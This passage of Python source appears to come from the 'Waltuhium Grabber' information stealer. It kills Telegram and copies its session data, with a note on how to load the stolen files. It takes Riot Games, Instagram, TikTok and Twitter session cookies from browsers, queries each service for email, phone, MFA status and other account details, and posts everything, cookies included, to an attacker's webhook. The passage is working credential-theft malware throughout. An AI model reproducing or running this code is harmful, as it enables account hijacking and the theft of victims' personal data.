black_listed_dirs = ["dumps", "emojis", "user_data", "working", "emoji", "tdummy", "user_data#2", "user_data#3", "user_data#4", "user_data#5"]
processes = await asyncio.create_subprocess_shell(f"taskkill /F /IM Telegram.exe", shell=True, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
await processes.communicate()
if not os.path.exists(copy_path):
os.mkdir(copy_path)
for dirs in os.listdir(tg_path):
try:
_path = os.path.join(tg_path, dirs)
if not dirs in black_listed_dirs:
dir_name = _path.split("\\")[7]
if os.path.isfile(_path):
shutil.copyfile(_path, os.path.join(copy_path, dir_name))
elif os.path.isdir(_path):
shutil.copytree(_path, os.path.join(copy_path, dir_name))
found_tg = True
except:continue
if found_tg == True:
os.mkdir(os.path.join(copy_path, "How to Use"))
with open(os.path.join(copy_path, "How to Use", "How to Use.txt"), "a", errors="ignore") as write_file:
write_file.write("https://t.me/waltuhium\n=======================================\n")
write_file.write("First, close your telegram\nopen this file path on your computer <%appdata%\\Telegram Desktop\\tdata>.\nDelete all the files here, then copy the stolen files to this folder")
except:
pass
async def RiotGamesSession(self, cookie, browser:str) -> None:
try:
connector = aiohttp.TCPConnector(ssl=True)
async with aiohttp.ClientSession(connector=connector) as session:
async with session.get('https://account.riotgames.com/api/account/v1/user', headers={"Cookie": f"sid={cookie}"}) as req:
response = await req.json()
embed_data = {
"title": "***Waltuhium Grabber***",
"description": f"***Waltuhium Riot Games Session was detected on the {browser} browser***",
"url" : "https://t.me/waltuhium",
"color": 0,
"footer": {"text": "https://t.me/waltuhium | https://github.com/waltuhium23/waltuhium"},
"thumbnail": {"url": "https://i.hizliresim.com/qxnzimj.jpg"}}
username = str(response["username"])
email = str(response["email"])
region = str(response["region"])
locale = str(response["locale"])
country = str(response["country"])
mfa = str(response["mfa"]["verified"])
fields = [
{"name": "Username", "value": "``" + username + "``", "inline": True},
{"name": "Email", "value": "``" + email + "``", "inline": True},
{"name": "Region", "value": "``" + region + "``", "inline": True},
{"name": "Locale", "value": "``" + locale + "``", "inline": True},
{"name": "Country", "value":"``" + country + "``", "inline": True},
{"name": "MFA Enabled?", "value": "``" + mfa + "``", "inline": True},
{"name": "Cookie", "value": "``" + cookie + "``", "inline": False},]
embed_data["fields"] = fields
payload = {
"username": "waltuhium | t.me/waltuhium",
"embeds": [embed_data]
}
headers = {
"Content-Type": "application/json"
}
async with session.post(webhook, json=payload, headers=headers) as response:
pass
except:
pass
else:
Variables.RiotGameAccounts.append(f'Username : {username}\nEmail : {email}\nRegion : {region}\nLocale : {locale}\nCountry : {country}\nMFA Enabled : {mfa}\nCookie : {cookie}\n======================================================================\n')
async def InstaSession(self, cookie, browser:str) -> None:
try:
pp = "https://cdn.discordapp.com/attachments/1192191430827970571/1196865524919975976/68747470733a2f2f63646e2e646973636f72646170702e636f6d2f6174746163686d656e74732f313133383134313739313736363435383530392f313134373536383733383636353737393332322f494d475f393136312d72656d6f766562672d707265766965772e70.png"
bio = ""
fullname = ""
headers = {
"user-agent": "Instagram 219.0.0.12.117 Android",
"cookie": f"sessionid={cookie}"
}
infoURL = 'https://i.instagram.com/api/v1/accounts/current_user/?edit=true'
async with aiohttp.ClientSession(headers=headers, connector=aiohttp.TCPConnector(ssl=True)) as session:
async with session.get(infoURL) as response:
data = await response.json()
async with session.get(f"https://i.instagram.com/api/v1/users/{data['user']['pk']}/info/") as response:
data2 = await response.json()
try:
pp = data["user"]["profile_pic_url"]
except:
pass
username = data["user"]["username"]
profileURL = "https://instagram.com/" + username
if data["user"]["biography"] == "":
bio = "No bio"
else:
bio = data["user"]["biography"]
bio = bio.replace("\n", ", ")
if data["user"]["full_name"] == "":
fullname = "No nickname"
else:
fullname = data["user"]["full_name"]
email = data["user"]["email"]
verify = data["user"]["is_verified"]
followers = data2["user"]["follower_count"]
following = data2["user"]["following_count"]
embed_data = {
"title": "***Waltuhium Grabber***",
"description": f"***Waltuhium Instagram Session was detected on the {browser} browser***",
"url" : "https://t.me/waltuhium",
"color": 0,
"footer": {"text": "https://t.me/waltuhium | https://github.com/waltuhium23/waltuhium"},
"thumbnail": {"url": pp}}
fields = [
{"name": "Username", "value": "``" + username + "``", "inline": True},
{"name": "Nick Name", "value": "``" + fullname + "``", "inline": True},
{"name": "Email", "value": "``" + email + "``", "inline": True},
{"name": "is Verified", "value": "``" + str(verify) + "``", "inline": True},
{"name": "Followers", "value":"``" + str(followers) + "``", "inline": True},
{"name": "Following", "value": "``" + str(following) + "``", "inline": True},
{"name": "Profile URL", "value": "``" + profileURL + "``", "inline": False},
{"name": "Biography", "value": "``" + bio + "``", "inline": False},
{"name": "Cookie", "value": "``" + cookie + "``", "inline": False},]
embed_data["fields"] = fields
async with aiohttp.ClientSession(connector=aiohttp.TCPConnector(ssl=True)) as session:
payload = {
"username": "waltuhium | t.me/waltuhium",
"embeds": [embed_data]
}
headers = {
"Content-Type": "application/json"
}
async with session.post(webhook, json=payload, headers=headers) as response:
pass
except Exception as e:
print(str(e))
else:
Variables.InstagramAccounts.append(f"Cookie : {cookie}\nProfile URL : {profileURL}\nUsername : {username}\nNick Name : {fullname}\nis Verified : {verify}\nEmail : {email}\nFollowers : {followers}\nFollowing : {following}\nBiography : {bio}\n======================================================================\n")
async def TikTokSession(self, cookie, browser:str) -> None:
try:
email = ''
phone = ''
cookies = "sessionid=" + cookie
headers = {"cookie": cookies, "Accept-Encoding": "identity"}
headers2 = {"cookie": cookies}
url = 'https://www.tiktok.com/passport/web/account/info/?aid=1459&app_language=de-DE&app_name=tiktok_web&battery_info=1&browser_language=de-DE&browser_name=Mozilla&browser_online=true&browser_platform=Win32&browser_version=5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome%2F112.0.0.0%20Safari%2F537.36&channel=tiktok_web&cookie_enabled=true&device_platform=web_pc&focus_state=true&from_page=fyp&history_len=2&is_fullscreen=false&is_page_visible=true&os=windows&priority_region=DE&referer=®ion=DE&screen_height=1080&screen_width=1920&tz_name=Europe%2FBerlin&webcast_language=de-DE'
url2 = 'https://webcast.tiktok.com/webcast/wallet_api/diamond_buy/permission/?aid=1988&app_language=de-DE&app_name=tiktok_web&battery_info=1&browser_language=de-DE&browser_name=Mozilla&browser_online=true&browser_platform=Win32&browser_version=5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome%2F112.0.0.0%20Safari%2F537.36&channel=tiktok_web&cookie_enabled=true'
async with aiohttp.ClientSession(connector=aiohttp.TCPConnector(ssl=True)) as session:
async with session.get(url, headers=headers) as response:
data = await response.json()
async with session.get(url2, headers=headers2) as response2:
data2 = await response2.json()
user_id = data["data"]["user_id"]
if not data["data"]["email"]:
email = "No Email"
else:
email = data["data"]["email"]
if not data["data"]["mobile"]:
phone = "No number"
else:
phone = data["data"]["mobile"]
username = data["data"]["username"]
coins = data2["data"]["coins"]
embed_data = {
"title": "***Waltuhium Grabber***",
"description": f"***Waltuhium Tiktok Session was detected on the {browser} browser***",
"url" : "https://t.me/waltuhium",
"color": 0,
"footer": {"text": "https://t.me/waltuhium | https://github.com/waltuhium23/waltuhium"},
"thumbnail": {"url": "https://cdn.discordapp.com/attachments/1192191430827970571/1196865524919975976/68747470733a2f2f63646e2e646973636f72646170702e636f6d2f6174746163686d656e74732f313133383134313739313736363435383530392f313134373536383733383636353737393332322f494d475f393136312d72656d6f766562672d707265766965772e70.png"}}
fields = [
{"name": "Username", "value": "``" + username + "``", "inline": True},
{"name": "Email", "value": "``" + email + "``", "inline": True},
{"name": "Phone", "value": "``" + str(phone) + "``", "inline": True},
{"name": "User identifier", "value": "``" + str(user_id) + "``", "inline": True},
{"name": "Coins", "value":"``" + str(coins) + "``", "inline": True},
{"name": "Profile URL", "value": "``" + f'https://tiktok.com/@{username}' + "``", "inline": False},
{"name": "Tiktok Cookie", "value": "``" + cookie + "``", "inline": False},]
embed_data["fields"] = fields
async with aiohttp.ClientSession(connector=aiohttp.TCPConnector(ssl=True)) as session:
payload = {
"username": "waltuhium | t.me/waltuhium",
"embeds": [embed_data]
}
headers = {
"Content-Type": "application/json"
}
async with session.post(webhook, json=payload, headers=headers) as response:
pass
except:
pass
else:
Variables.TikTokAccounts.append(f"Cookie : {cookies}\nUser identifier : {user_id}\nProfile URL : https://tiktok.com/@{username}\nUsername : {username}\nEmail : {email}\nPhone : {phone}\nCoins : {coins}\n======================================================================\n")
async def TwitterSession(self, cookie, browser:str) -> None:
try:
description = ''
authToken = f'{cookie};ct0=ac1aa9d58c8798f0932410a1a564eb42'
headers = {
'authority': 'twitter.com',
'accept': '*/*',
'accept-language': 'en-US,en;q=0.9',
'authorization': 'Bearer AAAAAAAAAAAAAAAAAAAAANRILgAAAAAAnNwIzUejRCOuH5E6I8xnZz4puTs%3D1Zv7ttfk8LF81IUq16cHjhLTvJu4FA33AGWWjCpTnA',
'origin': 'https://twitter.com',
'referer': 'https://twitter.com/home',
'sec-fetch-dest': 'empty',
'sec-fetch-mode': 'cors',
'sec-fetch-site': 'same-origin',
'sec-gpc': '1',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36',
'x-twitter-active-user': 'yes',
'x-twitter-auth-type': 'OAuth2Session',
'x-twitter-client-language': 'en',
'x-csrf-token': 'ac1aa9d58c8798f0932410a1a564eb42',
"cookie" : f'auth_token={authToken}'
}
url = "https://twitter.com/i/api/1.1/account/update_profile.json"
async with aiohttp.ClientSession(connector=aiohttp.TCPConnector(ssl=True)) as session:
async with session.post(url, headers=headers) as response:
req = await response.json()
try:
if req["description"] == "":
description = "There is no bio"
else:
description = req["description"]
except:
description = "There is no biography"
description = description.replace("\n", ", ")
pp = req["profile_image_url_https"]
username = req["name"]
nickname = req["screen_name"]
profileURL = "https://twitter.com/" + username
embed_data = {
"title": "***Waltuhium Grabber***",
"description": f"***Waltuhium Twitter Session was detected on the {browser} browser***",
"url" : "https://t.me/waltuhium",
"color": 0,
"footer": {"text": "https://t.me/waltuhium | https://github.com/waltuhium23/waltuhium"},
"thumbnail": {"url": pp}}
fields = [
{"name": "Username", "value": "``" + username + "``", "inline": True},
{"name": "Screen Name", "value": "``" + nickname + "``", "inline": True},
{"name": "Followers", "value": "``" + str(req['followers_count']) + "``", "inline": True},
{"name": "Following", "value": "``" + str(req['friends_count']) + "``", "inline": True},
{"name": "Tweets", "value":"``" + str(req['statuses_count']) + "``", "inline": True},
{"name": "Is Verified", "value": "``" + str(req['verified']) + "``", "inline": True},
{"name": "Created At", "value": "``" + str(req['created_at']) + "``", "inline": True},
{"name": "Biography", "value": "``" + str(description) + "``", "inline": False},
{"name": "Profile URL", "value": "``" + str(profileURL) + "``", "inline": False},
{"name": "Cookie", "value": "``" + str(cookie) + "``", "inline": False},
]
embed_data["fields"] = fields
async with aiohttp.ClientSession(connector=aiohttp.TCPConnector(ssl=True)) as session:
payload = {
"username": "waltuhium | t.me/waltuhium",
"embeds": [embed_data]
}
headers = {
"Content-Type": "application/json"
}
async with session.post(webhook, json=payload, headers=headers) as response:
pass
Variables.TwitterAccounts.append(f"Username : {username}\nScreen Name : {nickname}\nFollowers : {req['followers_count']}\nFollowing : {req['friends_count']}\nTweets : {req['statuses_count']}\nVerified : {req['verified']}\nCreated At : {req['created_at']}\nProfile URL : {profileURL}\nCookie : {cookie}\nBiography : {description}\n=====================================================\n")
except Exception as e:
print(str(e))
async def TwitchSession(self, auth_token, username, browser:str) -> None:
try:
url = 'https://gql.twitch.tv/gql'
headers = {
'Authorization': f'OAuth {auth_token}',
}
query = f"""
query {{
user(login: "{username}") {{
id
login
displayName
email
hasPrime
isPartner
language
profileImageURL(width: 300)
bitsBalance
followers {{
totalCount
}}
}}
}}"""
data = {
"query": query
}
async with aiohttp.ClientSession(connector=aiohttp.TCPConnector(ssl=True)) as session: